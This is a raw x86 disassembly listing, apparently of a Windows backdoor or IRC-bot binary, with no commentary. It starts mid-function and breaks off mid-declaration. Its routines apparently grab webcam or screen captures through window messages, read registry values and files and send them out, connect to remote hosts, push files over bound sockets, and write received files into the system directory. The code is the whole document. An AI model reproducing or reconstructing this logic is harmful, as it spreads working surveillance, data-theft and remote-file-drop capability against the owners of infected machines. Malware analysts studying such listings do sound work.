sub_416159+35j push edi call dword_4E3098 ; IsWindow test eax, eax jz short loc_4161B4 push ebx push [ebp+Size] push 40Ah push edi call dword_4E3154 ; SendMessageA jmp short loc_4161B6 ; --------------------------------------------------------------------------- loc_4161B4: ; CODE XREF: sub_416159+47j xor eax, eax loc_4161B6: ; CODE XREF: sub_416159+59j cmp eax, ebx jnz short loc_4161C1 loc_4161BA: ; CODE XREF: sub_416159+88j ; sub_416159+BCj mov ebx, esi jmp loc_416342 ; --------------------------------------------------------------------------- loc_4161C1: ; CODE XREF: sub_416159+5Fj push edi call dword_4E3098 ; IsWindow test eax, eax jz short loc_4161DE lea eax, [ebp+var_34] push eax push 2Ch push 40Eh push edi call dword_4E3154 ; SendMessageA loc_4161DE: ; CODE XREF: sub_416159+71j cmp [ebp+var_20], ebx jz short loc_4161BA push edi call dword_4E3098 ; IsWindow test eax, eax mov edi, 42Ch jz short loc_416204 push ebx push ebx push edi push [ebp+var_4] call dword_4E3154 ; SendMessageA mov [ebp+Size], eax jmp short loc_416207 ; --------------------------------------------------------------------------- loc_416204: ; CODE XREF: sub_416159+98j mov [ebp+Size], ebx loc_416207: ; CODE XREF: sub_416159+A9j push [ebp+Size] ; Size call _malloc cmp eax, ebx pop ecx mov [ebp+Memory], eax jz short loc_4161BA push [ebp+Size] ; Size call _malloc mov esi, eax pop ecx cmp esi, ebx jnz short loc_41622E push 1 pop ebx jmp loc_416342 ; --------------------------------------------------------------------------- loc_41622E: ; CODE XREF: sub_416159+CBj push [ebp+var_4] call dword_4E3098 ; IsWindow test eax, eax jz short loc_41624B push [ebp+Memory] push [ebp+Size] push edi push [ebp+var_4] call dword_4E3154 ; SendMessageA loc_41624B: ; CODE XREF: sub_416159+E0j push [ebp+Size] ; Size push [ebp+Memory] ; Src push esi ; Dst call _memcpy mov ecx, [ebp+arg_8] add esp, 0Ch cmp ecx, ebx jg short loc_416266 mov ecx, 280h loc_416266: ; CODE XREF: sub_416159+106j mov eax, [ebp+arg_C] cmp eax, ebx jg short loc_416272 mov eax, 1E0h loc_416272: ; CODE XREF: sub_416159+112j push [ebp+var_4] mov [esi+4], ecx mov [esi+8], eax mov word ptr [esi+0Eh], 10h mov [esi+14h], ebx mov [esi+10h], ebx mov [esi+20h], ebx mov [esi+24h], ebx mov word ptr [esi+0Ch], 1 mov [esi+28h], bl mov [esi+29h], bl mov [esi+2Ah], bl mov [esi+2Bh], bl call dword_4E3098 ; IsWindow test eax, eax mov edi, 42Dh jz short loc_4162BC push esi push [ebp+Size] push edi push [ebp+var_4] call dword_4E3154 ; SendMessageA loc_4162BC: ; CODE XREF: sub_416159+153j push [ebp+var_4] call dword_4E3098 ; IsWindow test eax, eax jz short loc_4162D9 push ebx push ebx push 43Dh push [ebp+var_4] call dword_4E3154 ; SendMessageA loc_4162D9: ; CODE XREF: sub_416159+16Ej push [ebp+var_4] call dword_4E3098 ; IsWindow test eax, eax jz short loc_4162F8 push [ebp+arg_0] push ebx push 419h push [ebp+var_4] call dword_4E3154 ; SendMessageA loc_4162F8: ; CODE XREF: sub_416159+18Bj push [ebp+var_4] call dword_4E3098 ; IsWindow test eax, eax jz short loc_416315 push [ebp+Memory] push [ebp+Size] push edi push [ebp+var_4] call dword_4E3154 ; SendMessageA loc_416315: ; CODE XREF: sub_416159+1AAj push [ebp+Memory] ; Memory call _free push esi ; Memory call _free pop ecx pop ecx push [ebp+var_4] call dword_4E3098 ; IsWindow test eax, eax jz short loc_416342 push ebx push ebx push 40Bh push [ebp+var_4] call dword_4E3154 ; SendMessageA loc_416342: ; CODE XREF: sub_416159+63j ; sub_416159+D0j ... push [ebp+var_4] call dword_4E31A8 ; DestroyWindow mov eax, ebx loc_41634D: ; CODE XREF: sub_416159+39j pop edi pop esi pop ebx leave retn sub_416159 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_416352(int,size_t Size,int,int,int) sub_416352 proc near ; CODE XREF: sub_401CC7+75D7p var_90 = byte ptr -90h var_7C = dword ptr -7Ch var_64 = dword ptr -64h var_60 = dword ptr -60h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch Memory = dword ptr -4 arg_0 = dword ptr 8 Size = dword ptr 0Ch arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 90h push ebx push esi push edi push 1 pop esi xor ebx, ebx push esi push dword_4EAD6C push 78h push 0A0h push ebx push ebx push 40000000h push offset aWindow_0 ; "Window" call dword_4E3048 mov edi, eax cmp edi, ebx jnz short loc_416390 mov eax, esi jmp loc_41658C ; --------------------------------------------------------------------------- loc_416390: ; CODE XREF: sub_416352+35j push edi call dword_4E3098 ; IsWindow test eax, eax jz short loc_4163AD push ebx push [ebp+Size] push 40Ah push edi call dword_4E3154 ; SendMessageA jmp short loc_4163AF ; --------------------------------------------------------------------------- loc_4163AD: ; CODE XREF: sub_416352+47j xor eax, eax loc_4163AF: ; CODE XREF: sub_416352+59j cmp eax, ebx jnz short loc_4163BA loc_4163B3: ; CODE XREF: sub_416352+8Bj ; sub_416352+BCj mov ebx, esi jmp loc_416583 ; --------------------------------------------------------------------------- loc_4163BA: ; CODE XREF: sub_416352+5Fj push edi call dword_4E3098 ; IsWindow test eax, eax jz short loc_4163DA lea eax, [ebp+var_90] push eax push 2Ch push 40Eh push edi call dword_4E3154 ; SendMessageA loc_4163DA: ; CODE XREF: sub_416352+71j cmp [ebp+var_7C], ebx jz short loc_4163B3 push edi call dword_4E3098 ; IsWindow test eax, eax jz short loc_4163FD push ebx push ebx push 42Ch push edi call dword_4E3154 ; SendMessageA mov [ebp+Size], eax jmp short loc_416400 ; --------------------------------------------------------------------------- loc_4163FD: ; CODE XREF: sub_416352+96j mov [ebp+Size], ebx loc_416400: ; CODE XREF: sub_416352+A9j push [ebp+Size] ; Size call _malloc cmp eax, ebx pop ecx mov [ebp+Memory], eax jz short loc_4163B3 push [ebp+Size] ; Size call _malloc mov esi, eax pop ecx cmp esi, ebx jnz short loc_416427 push 1 pop ebx jmp loc_416583 ; --------------------------------------------------------------------------- loc_416427: ; CODE XREF: sub_416352+CBj push edi call dword_4E3098 ; IsWindow test eax, eax jz short loc_416444 push [ebp+Memory] push [ebp+Size] push 42Ch push edi call dword_4E3154 ; SendMessageA loc_416444: ; CODE XREF: sub_416352+DEj push [ebp+Size] ; Size push [ebp+Memory] ; Src push esi ; Dst call _memcpy mov ecx, [ebp+arg_C] add esp, 0Ch cmp ecx, ebx jg short loc_41645F mov ecx, 0A0h loc_41645F: ; CODE XREF: sub_416352+106j mov eax, [ebp+arg_10] cmp eax, ebx jg short loc_416469 push 78h pop eax loc_416469: ; CODE XREF: sub_416352+112j push edi mov [esi+4], ecx mov [esi+8], eax mov word ptr [esi+0Eh], 10h mov [esi+14h], ebx mov [esi+10h], ebx mov [esi+20h], ebx mov [esi+24h], ebx mov word ptr [esi+0Ch], 1 mov [esi+28h], bl mov [esi+29h], bl mov [esi+2Ah], bl mov [esi+2Bh], bl call dword_4E3098 ; IsWindow test eax, eax jz short loc_4164AE push esi push [ebp+Size] push 42Dh push edi call dword_4E3154 ; SendMessageA loc_4164AE: ; CODE XREF: sub_416352+14Aj push edi call dword_4E3098 ; IsWindow test eax, eax jz short loc_4164CB lea eax, [ebp+var_64] push eax push 60h push 441h push edi call dword_4E3154 ; SendMessageA loc_4164CB: ; CODE XREF: sub_416352+165j push edi mov [ebp+var_60], ebx mov [ebp+var_3C], ebx mov [ebp+var_38], ebx mov [ebp+var_34], ebx mov [ebp+var_30], 1 mov [ebp+var_2C], 5 mov [ebp+var_64], 1046Ah call dword_4E3098 ; IsWindow test eax, eax jz short loc_416509 lea eax, [ebp+var_64] push eax push 60h push 440h push edi call dword_4E3154 ; SendMessageA loc_416509: ; CODE XREF: sub_416352+1A3j push edi call dword_4E3098 ; IsWindow test eax, eax jz short loc_416524 push [ebp+arg_0] push ebx push 414h push edi call dword_4E3154 ; SendMessageA loc_416524: ; CODE XREF: sub_416352+1C0j push edi call dword_4E3098 ; IsWindow test eax, eax jz short loc_41653D push ebx push ebx push 43Eh push edi call dword_4E3154 ; SendMessageA loc_41653D: ; CODE XREF: sub_416352+1DBj push edi call dword_4E3098 ; IsWindow test eax, eax jz short loc_41655A push [ebp+Memory] push [ebp+Size] push 42Dh push edi call dword_4E3154 ; SendMessageA loc_41655A: ; CODE XREF: sub_416352+1F4j push [ebp+Memory] ; Memory call _free push esi ; Memory call _free pop ecx pop ecx push edi call dword_4E3098 ; IsWindow test eax, eax jz short loc_416583 push ebx push ebx push 40Bh push edi call dword_4E3154 ; SendMessageA loc_416583: ; CODE XREF: sub_416352+63j ; sub_416352+D0j ... push edi call dword_4E31A8 ; DestroyWindow mov eax, ebx loc_41658C: ; CODE XREF: sub_416352+39j pop edi pop esi pop ebx leave retn sub_416352 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416591 proc near ; CODE XREF: sub_401CC7+25E2p Dest = byte ptr -3F0h var_2EC = dword ptr -2ECh var_EC = byte ptr -0ECh Str = byte ptr -6Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 3F0h push edi xor edi, edi cmp off_44D33C, edi mov [ebp+var_8], 80h jz loc_416736 push ebx push esi mov eax, offset off_44D33C mov esi, offset dword_44D348 loc_4165BC: ; CODE XREF: sub_416591+19Dj lea ecx, [ebp+var_4] push ecx push 20019h push edi push dword ptr [eax] push dword ptr [esi-10h] call dword_4E3168 ; RegOpenKeyExA lea eax, [ebp+var_8] push eax lea eax, [ebp+var_EC] push eax push edi push edi push dword ptr [esi-8] push [ebp+var_4] call dword_4E2FF8 ; RegQueryValueExA test eax, eax jnz loc_41671C mov eax, [esi] cmp eax, edi jz loc_4166DC push eax lea eax, [ebp+var_EC] push eax lea eax, [ebp+Dest] push offset aSS_7 ; "%s\\%s" push eax ; Dest call _sprintf lea eax, [ebp+Dest] push offset aR_1 ; "r" push eax ; Filename call _fopen mov ebx, eax add esp, 18h cmp ebx, edi jz loc_41671C loc_416633: ; CODE XREF: sub_416591+C9j push ebx lea eax, [ebp+Str] push 64h push eax call sub_41F210 add esp, 0Ch test eax, eax jz loc_4166D3 push dword ptr [esi+4] ; SubStr lea eax, [ebp+Str] push eax ; Str call _strstr pop ecx test eax, eax pop ecx jnz short loc_416633 push 3Dh ; Val push dword ptr [esi+4] ; Str call _strchr pop ecx test eax, eax pop ecx jz short loc_416693 lea eax, [ebp+Str] push offset asc_44E610 ; "=" push eax ; Str call _strtok push offset asc_44E614 ; "=" push edi ; Str call _strtok add esp, 10h push eax push dword ptr [esi-4] push offset dword_44E618 jmp short loc_41669F ; --------------------------------------------------------------------------- loc_416693: ; CODE XREF: sub_416591+D9j lea eax, [ebp+Str] push eax push dword ptr [esi-4] push offset asc_44E630 ; "-" loc_41669F: ; CODE XREF: sub_416591+100j lea eax, [ebp+var_2EC] push eax ; Dest call _sprintf add esp, 10h lea eax, [ebp+var_2EC] push edi ; int push [ebp+arg_8] ; int push eax ; int push [ebp+arg_4] ; Str push [ebp+arg_0] ; int call sub_409D34 lea eax, [ebp+var_2EC] push eax call sub_415C3F add esp, 18h loc_4166D3: ; CODE XREF: sub_416591+B3j push ebx ; File call _fclose pop ecx jmp short loc_41671C ; --------------------------------------------------------------------------- loc_4166DC: ; CODE XREF: sub_416591+65j lea eax, [ebp+var_EC] push eax lea eax, [ebp+var_2EC] push dword ptr [esi-4] push offset asc_44E648 ; "-" push eax ; Dest call _sprintf push edi ; int lea eax, [ebp+var_2EC] push [ebp+arg_8] ; int push eax ; int push [ebp+arg_4] ; Str push [ebp+arg_0] ; int call sub_409D34 lea eax, [ebp+var_2EC] push eax call sub_415C3F add esp, 28h loc_41671C: ; CODE XREF: sub_416591+5Bj ; sub_416591+9Cj ... push [ebp+var_4] call dword_4E30D4 ; RegCloseKey add esi, 18h cmp [esi-0Ch], edi lea eax, [esi-0Ch] jnz loc_4165BC pop esi pop ebx loc_416736: ; CODE XREF: sub_416591+19j pop edi leave retn sub_416591 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416739 proc near ; CODE XREF: sub_4167BF+33p ; sub_416D25+BCp Dst = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push esi push edi push 0 push 1 push 2 call dword_4E3178 ; socket mov edi, eax or esi, 0FFFFFFFFh cmp edi, esi jz short loc_4167B5 push 10h ; Size lea eax, [ebp+Dst] push 0 ; Val push eax ; Dst call _memset add esp, 0Ch mov [ebp+Dst], 2 push [ebp+arg_4] call dword_4E30F8 ; htons push [ebp+arg_0] mov [ebp+var_E], ax call dword_4E3138 ; inet_addr cmp eax, esi jnz short loc_41679A push [ebp+arg_0] call dword_4E317C ; gethostbyname test eax, eax jz short loc_4167B5 mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] loc_41679A: ; CODE XREF: sub_416739+4Bj mov [ebp+var_C], eax lea eax, [ebp+Dst] push 10h push eax push edi call dword_4E30A0 ; connect cmp eax, esi jnz short loc_4167B9 push edi call dword_4E3190 ; closesocket loc_4167B5: ; CODE XREF: sub_416739+1Bj ; sub_416739+58j mov eax, esi jmp short loc_4167BB ; --------------------------------------------------------------------------- loc_4167B9: ; CODE XREF: sub_416739+73j mov eax, edi loc_4167BB: ; CODE XREF: sub_416739+7Ej pop edi pop esi leave retn sub_416739 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4167BF proc near ; DATA XREF: sub_401CC7+A06o Dst = byte ptr -11B4h var_1B4 = byte ptr -1B4h var_1AC = byte ptr -1ACh Str = byte ptr -94h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 11B4h call __alloca_probe mov eax, [ebp+arg_0] push ebx push esi push edi push 6Dh mov esi, eax pop ecx lea edi, [ebp+var_1B4] rep movsd push 1 pop esi push [ebp+var_14] mov [eax+1B0h], esi lea eax, [ebp+var_1AC] push eax call sub_416739 mov ebx, eax pop ecx cmp ebx, 0FFFFFFFFh pop ecx jnz short loc_416852 lea eax, [ebp+Dst] push offset asc_44E660 ; "-" push eax ; Dest call _sprintf xor edi, edi pop ecx cmp [ebp+var_8], edi pop ecx jnz short loc_416835 push edi ; int lea eax, [ebp+Dst] push [ebp+var_C] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push ebx ; int call sub_409D34 add esp, 14h loc_416835: ; CODE XREF: sub_4167BF+59j lea eax, [ebp+Dst] push eax call sub_415C3F push [ebp+var_10] call sub_40BA72 pop ecx pop ecx push esi call ds:dword_4F53A0 ; ExitThread loc_416852: ; CODE XREF: sub_4167BF+3Fj push offset dword_4EADD0 push ebx call sub_41AB45 pop ecx cmp eax, 0FFFFFFFFh pop ecx jnz short loc_4168BD lea eax, [ebp+Dst] push offset asc_44E684 ; "-" push eax ; Dest call _sprintf xor edi, edi pop ecx cmp [ebp+var_8], edi pop ecx jnz short loc_416899 push edi ; int lea eax, [ebp+Dst] push [ebp+var_C] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push ebx ; int call sub_409D34 add esp, 14h loc_416899: ; CODE XREF: sub_4167BF+BDj lea eax, [ebp+Dst] push eax call sub_415C3F pop ecx push ebx call dword_4E3190 ; closesocket push [ebp+var_10] call sub_40BA72 pop ecx push esi call ds:dword_4F53A0 ; ExitThread loc_4168BD: ; CODE XREF: sub_4167BF+A3j push 64h call ds:dword_4F534C ; Sleep xor edi, edi mov esi, 1000h loc_4168CC: ; CODE XREF: sub_4167BF+168j push esi ; Size lea eax, [ebp+Dst] push edi ; Val push eax ; Dst call _memset add esp, 0Ch lea eax, [ebp+Dst] push edi push esi push eax push ebx call dword_4E3110 ; recv test eax, eax jle short loc_416929 lea eax, [ebp+Dst] push offset asc_44E6B4 ; "\n" push eax ; Dest call _strcat lea eax, [ebp+Dst] push eax ; Str call sub_41A931 add esp, 0Ch test eax, eax jz short loc_416929 push 64h call ds:dword_4F534C ; Sleep push 0Ah call sub_40B99E test eax, eax pop ecx jnz short loc_4168CC loc_416929: ; CODE XREF: sub_4167BF+130j ; sub_4167BF+154j lea eax, [ebp+Dst] push offset asc_44E6B8 ; "-" push eax ; Dest call _sprintf cmp [ebp+var_8], edi pop ecx pop ecx jnz short loc_41695C push edi ; int lea eax, [ebp+Dst] push [ebp+var_C] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push ebx ; int call sub_409D34 add esp, 14h loc_41695C: ; CODE XREF: sub_4167BF+180j lea eax, [ebp+Dst] push eax call sub_415C3F pop ecx push ebx call dword_4E3190 ; closesocket push [ebp+var_10] call sub_40BA72 pop ecx push edi call ds:dword_4F53A0 ; ExitThread sub_4167BF endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416980 proc near ; DATA XREF: sub_401CC7+78DAo var_A04 = byte ptr -0A04h var_604 = byte ptr -604h var_500 = dword ptr -500h var_4FC = dword ptr -4FCh Dest = byte ptr -3FCh var_1FC = dword ptr -1FCh var_1F8 = dword ptr -1F8h Str = byte ptr -1E0h var_DC = byte ptr -0DCh var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_48 = byte ptr -48h var_44 = dword ptr -44h var_38 = dword ptr -38h var_34 = dword ptr -34h Dst = word ptr -30h var_2E = dword ptr -2Eh var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0A04h mov eax, [ebp+arg_0] push ebx push esi push edi push 6Dh mov esi, eax pop ecx lea edi, [ebp+var_1FC] rep movsd push 1 xor esi, esi pop ebx mov [ebp+var_10], esi push esi push ebx push 2 mov [eax+1B0h], ebx mov [ebp+var_C], esi mov [ebp+var_20], esi call dword_4E3178 ; socket mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_18], edi jnz short loc_4169CE push offset unk_44E6EC jmp loc_416B87 ; --------------------------------------------------------------------------- loc_4169CE: ; CODE XREF: sub_416980+42j push 10h ; Size lea eax, [ebp+Dst] push esi ; Val push eax ; Dst call _memset add esp, 0Ch mov [ebp+Dst], 2 push esi call dword_4E30F8 ; htons mov word ptr [ebp+var_2E], ax lea eax, [ebp+Dst] push 10h push eax push edi mov [ebp+var_2E+2], esi call dword_4E3124 ; bind test eax, eax jz short loc_416A0C push offset unk_44E710 jmp loc_416B87 ; --------------------------------------------------------------------------- loc_416A0C: ; CODE XREF: sub_416980+80j lea eax, [ebp+var_1C] mov [ebp+var_1C], 10h push eax lea eax, [ebp+Dst] push eax push edi call dword_4E309C ; getsockname push [ebp+var_2E] call dword_4E3028 ; htons mov [ebp+var_4], eax lea eax, [ebp+Str] push eax ; Str mov [ebp+arg_0], esi call _strlen pop ecx loc_416A3E: ; CODE XREF: sub_416980+EFj mov ecx, [ebp+arg_0] mov al, [ebp+ecx+Str] cmp al, 20h jnz short loc_416A51 push 5Fh pop eax jmp short loc_416A54 ; --------------------------------------------------------------------------- loc_416A51: ; CODE XREF: sub_416980+CAj movsx eax, al loc_416A54: ; CODE XREF: sub_416980+CFj mov [ebp+ecx+var_604], al lea eax, [ebp+Str] inc ecx push eax ; Str mov [ebp+arg_0], ecx call _strlen cmp [ebp+arg_0], eax pop ecx jbe short loc_416A3E push ebx push edi call dword_4E3120 ; listen test eax, eax jz short loc_416A87 push offset unk_44E734 jmp loc_416B87 ; --------------------------------------------------------------------------- loc_416A87: ; CODE XREF: sub_416980+FBj push esi push esi push 3 push esi push ebx lea eax, [ebp+Str] push 80000000h push eax call ds:dword_4F53C0 ; CreateFileA cmp eax, 0FFFFFFFFh mov [ebp+var_8], eax jnz short loc_416AB1 push offset unk_44E758 jmp loc_416B87 ; --------------------------------------------------------------------------- loc_416AB1: ; CODE XREF: sub_416980+125j push esi push eax call ds:dword_4F53DC ; GetFileSize mov [ebp+arg_0], eax push eax movzx eax, word ptr [ebp+var_4] push eax push [ebp+var_1FC] call sub_40AF71 pop ecx push eax call dword_4E3138 ; inet_addr push eax call dword_4E30F4 ; htonl push eax lea eax, [ebp+Str] push eax lea eax, [ebp+Dest] push offset dword_44E778 ; Format push eax ; Dest call _sprintf push esi ; int lea eax, [ebp+Dest] push esi ; int push eax ; int lea eax, [ebp+var_DC] push eax ; Str push [ebp+var_1FC] ; int call sub_409D34 add esp, 2Ch lea eax, [ebp+var_38] mov [ebp+var_38], 3Ch mov [ebp+var_34], esi push eax push esi lea eax, [ebp+var_500] push esi push eax push esi mov [ebp+var_4FC], edi mov [ebp+var_500], ebx call dword_4E30E0 ; select test eax, eax jg short loc_416B61 push esi ; int lea eax, [ebp+var_DC] push [ebp+var_54] ; int push offset dword_44E790 ; int push eax ; Str push [ebp+var_1FC] ; int call sub_409D34 jmp loc_416C85 ; --------------------------------------------------------------------------- loc_416B61: ; CODE XREF: sub_416980+1BFj lea eax, [ebp+var_14] mov [ebp+var_14], 10h push eax lea eax, [ebp+var_48] push eax push edi call dword_4E318C ; accept cmp eax, 0FFFFFFFFh mov [ebp+var_1F8], eax jnz short loc_416B9A push offset asc_44E7A8 ; "-" loc_416B87: ; CODE XREF: sub_416980+49j ; sub_416980+87j ... lea eax, [ebp+Dest] push eax ; Dest call _sprintf pop ecx pop ecx jmp loc_416C88 ; --------------------------------------------------------------------------- loc_416B9A: ; CODE XREF: sub_416980+200j push edi call dword_4E3190 ; closesocket cmp [ebp+arg_0], esi jz loc_416C4C mov edi, 400h loc_416BAF: ; CODE XREF: sub_416980+2C3j mov eax, [ebp+arg_0] mov [ebp+var_4], edi cmp eax, edi jge short loc_416BBC mov [ebp+var_4], eax loc_416BBC: ; CODE XREF: sub_416980+237j push edi ; Size lea eax, [ebp+var_A04] push esi ; Val push eax ; Dst call _memset mov eax, [ebp+arg_0] add esp, 0Ch neg eax push 2 push esi push eax push [ebp+var_8] call ds:dword_4F53F4 ; SetFilePointer lea eax, [ebp+var_20] push esi push eax lea eax, [ebp+var_A04] push [ebp+var_4] push eax push [ebp+var_8] call ds:dword_4F53BC ; ReadFile push esi lea eax, [ebp+var_A04] push [ebp+var_4] push eax push [ebp+var_1F8] call dword_4E3148 ; send mov [ebp+var_4], eax push esi cdq add [ebp+var_10], eax lea eax, [ebp+var_A04] push edi push eax push [ebp+var_1F8] adc [ebp+var_C], edx call dword_4E3110 ; recv cmp eax, ebx jl loc_416CE1 mov eax, [ebp+var_4] cmp eax, ebx jl loc_416CE1 sub [ebp+arg_0], eax jnz loc_416BAF mov edi, [ebp+var_18] loc_416C4C: ; CODE XREF: sub_416980+224j push [ebp+var_8] call ds:dword_4F533C ; CloseHandle push [ebp+var_C] push [ebp+var_10] call sub_41748B pop ecx pop ecx push eax push [ebp+var_44] call dword_4E3184 ; inet_ntoa push eax lea eax, [ebp+Str] push eax lea eax, [ebp+Dest] push offset asc_44E7FC ; "-" push eax ; Dest call _sprintf loc_416C85: ; CODE XREF: sub_416980+1DCj add esp, 14h loc_416C88: ; CODE XREF: sub_416980+215j cmp [ebp+var_50], esi jnz short loc_416CAD push esi ; int lea eax, [ebp+Dest] push [ebp+var_54] ; int push eax ; int lea eax, [ebp+var_DC] push eax ; Str push [ebp+var_1FC] ; int call sub_409D34 add esp, 14h loc_416CAD: ; CODE XREF: sub_416980+30Bj lea eax, [ebp+Dest] push eax call sub_415C3F cmp edi, esi pop ecx jbe short loc_416CC5 push edi call dword_4E3190 ; closesocket loc_416CC5: ; CODE XREF: sub_416980+33Cj push [ebp+var_1F8] call dword_4E3190 ; closesocket push [ebp+var_58] call sub_40BA72 pop ecx push esi call ds:dword_4F53A0 ; ExitThread loc_416CE1: ; CODE XREF: sub_416980+2AFj ; sub_416980+2BAj push esi ; int lea eax, [ebp+var_DC] push [ebp+var_54] ; int push offset dword_44E7CC ; int push eax ; Str push [ebp+var_1FC] ; int call sub_409D34 push offset dword_44E7E4 call sub_415C3F add esp, 18h push [ebp+var_1F8] call dword_4E3190 ; closesocket push [ebp+var_58] call sub_40BA72 pop ecx push ebx call ds:dword_4F53A0 ; ExitThread sub_416980 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416D25 proc near ; DATA XREF: sub_401CC7+7A5o Dst = byte ptr -14C4h Dest = byte ptr -4C4h Filename = byte ptr -2C4h var_1C0 = dword ptr -1C0h var_1B8 = byte ptr -1B8h var_1A4 = byte ptr -1A4h Str = byte ptr -0A0h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_C = dword ptr -0Ch var_8 = dword ptr -8 File = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 14C4h call __alloca_probe mov eax, [ebp+arg_0] push ebx push esi push edi push 6Dh mov esi, eax pop ecx lea edi, [ebp+var_1C0] rep movsd push 1 xor ebx, ebx pop esi mov [ebp+var_8], ebx mov [eax+1B0h], esi lea eax, [ebp+Filename] push 104h push eax call ds:dword_4F5348 ; GetSystemDirectoryA lea eax, [ebp+var_1A4] push eax lea eax, [ebp+Filename] push eax lea eax, [ebp+Filename] push offset aSS_8 ; "%s%s" push eax ; Dest call _sprintf add esp, 10h lea eax, [ebp+Filename] push ebx push 80h push 2 push ebx push esi push 40000000h push eax call ds:dword_4F53C0 ; CreateFileA cmp eax, 0FFFFFFFFh jnz short loc_416DAF push offset unk_44E830 jmp short loc_416DF5 ; --------------------------------------------------------------------------- loc_416DAF: ; CODE XREF: sub_416D25+81j push eax call ds:dword_4F533C ; CloseHandle lea eax, [ebp+Filename] push offset aAB ; "a+b" push eax ; Filename call _fopen pop ecx cmp eax, ebx pop ecx mov [ebp+File], eax jnz short loc_416DD7 push offset unk_44E864 jmp short loc_416DF5 ; --------------------------------------------------------------------------- loc_416DD7: ; CODE XREF: sub_416D25+A9j push [ebp+var_20] lea eax, [ebp+var_1B8] push eax call sub_416739 pop ecx cmp eax, 0FFFFFFFFh pop ecx mov [ebp+arg_0], eax jnz short loc_416E08 push offset asc_44E890 ; "-" loc_416DF5: ; CODE XREF: sub_416D25+88j ; sub_416D25+B0j lea eax, [ebp+Dest] push eax ; Dest call _sprintf pop ecx pop ecx jmp loc_416F04 ; --------------------------------------------------------------------------- loc_416E08: ; CODE XREF: sub_416D25+C9j mov esi, 1000h loc_416E0D: ; CODE XREF: sub_416D25+14Ej push esi ; Size lea eax, [ebp+Dst] push ebx ; Val push eax ; Dst call _memset add esp, 0Ch lea eax, [ebp+Dst] push ebx push esi push eax push [ebp+arg_0] call dword_4E3110 ; recv mov edi, eax cmp edi, ebx jz loc_416ED4 cmp edi, 0FFFFFFFFh jz short loc_416E75 push [ebp+File] ; File lea eax, [ebp+Dst] push edi ; Count push 1 ; Size push eax ; Str call sub_421420 add [ebp+var_8], edi add esp, 10h push [ebp+var_8] call dword_4E30F4 ; htonl mov [ebp+var_C], eax push ebx lea eax, [ebp+var_C] push 4 push eax push [ebp+arg_0] call dword_4E3148 ; send jmp short loc_416E0D ; --------------------------------------------------------------------------- loc_416E75: ; CODE XREF: sub_416D25+118j lea eax, [ebp+Dest] push offset asc_44E8B0 ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dest] push [ebp+var_18] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_1C0] ; int call sub_409D34 lea eax, [ebp+Dest] push eax call sub_415C3F push [ebp+File] ; File call _fclose add esp, 24h push [ebp+arg_0] call dword_4E3190 ; closesocket push [ebp+var_1C] call sub_40BA72 pop ecx push 1 call ds:dword_4F53A0 ; ExitThread loc_416ED4: ; CODE XREF: sub_416D25+10Fj mov eax, [ebp+var_8] cdq push edx push eax call sub_41748B pop ecx pop ecx push eax lea eax, [ebp+var_1B8] push eax lea eax, [ebp+var_1A4] push eax lea eax, [ebp+Dest] push offset asc_44E8C8 ; "-" push eax ; Dest call _sprintf add esp, 14h loc_416F04: ; CODE XREF: sub_416D25+DEj cmp [ebp+var_14], ebx jnz short loc_416F29 push ebx ; int lea eax, [ebp+Dest] push [ebp+var_18] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_1C0] ; int call sub_409D34 add esp, 14h loc_416F29: ; CODE XREF: sub_416D25+1E2j lea eax, [ebp+Dest] push eax call sub_415C3F cmp [ebp+File], ebx pop ecx jz short loc_416F44 push [ebp+File] ; File call _fclose pop ecx loc_416F44: ; CODE XREF: sub_416D25+214j cmp [ebp+arg_0], ebx jbe short loc_416F52 push [ebp+arg_0] call dword_4E3190 ; closesocket loc_416F52: ; CODE XREF: sub_416D25+222j push [ebp+var_1C] call sub_40BA72 pop ecx push ebx call ds:dword_4F53A0 ; ExitThread sub_416D25 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416F62 proc near ; DATA XREF: sub_401CC7+62FAo ; sub_401CC7+6B3Ao var_590 = qword ptr -590h var_584 = qword ptr -584h Dst = byte ptr -510h var_310 = dword ptr -310h var_304 = dword ptr -304h var_2E4 = dword ptr -2E4h var_2E0 = word ptr -2E0h var_2CC = dword ptr -2CCh Str = byte ptr -2C8h var_248 = byte ptr -248h Filename = byte ptr -148h var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword 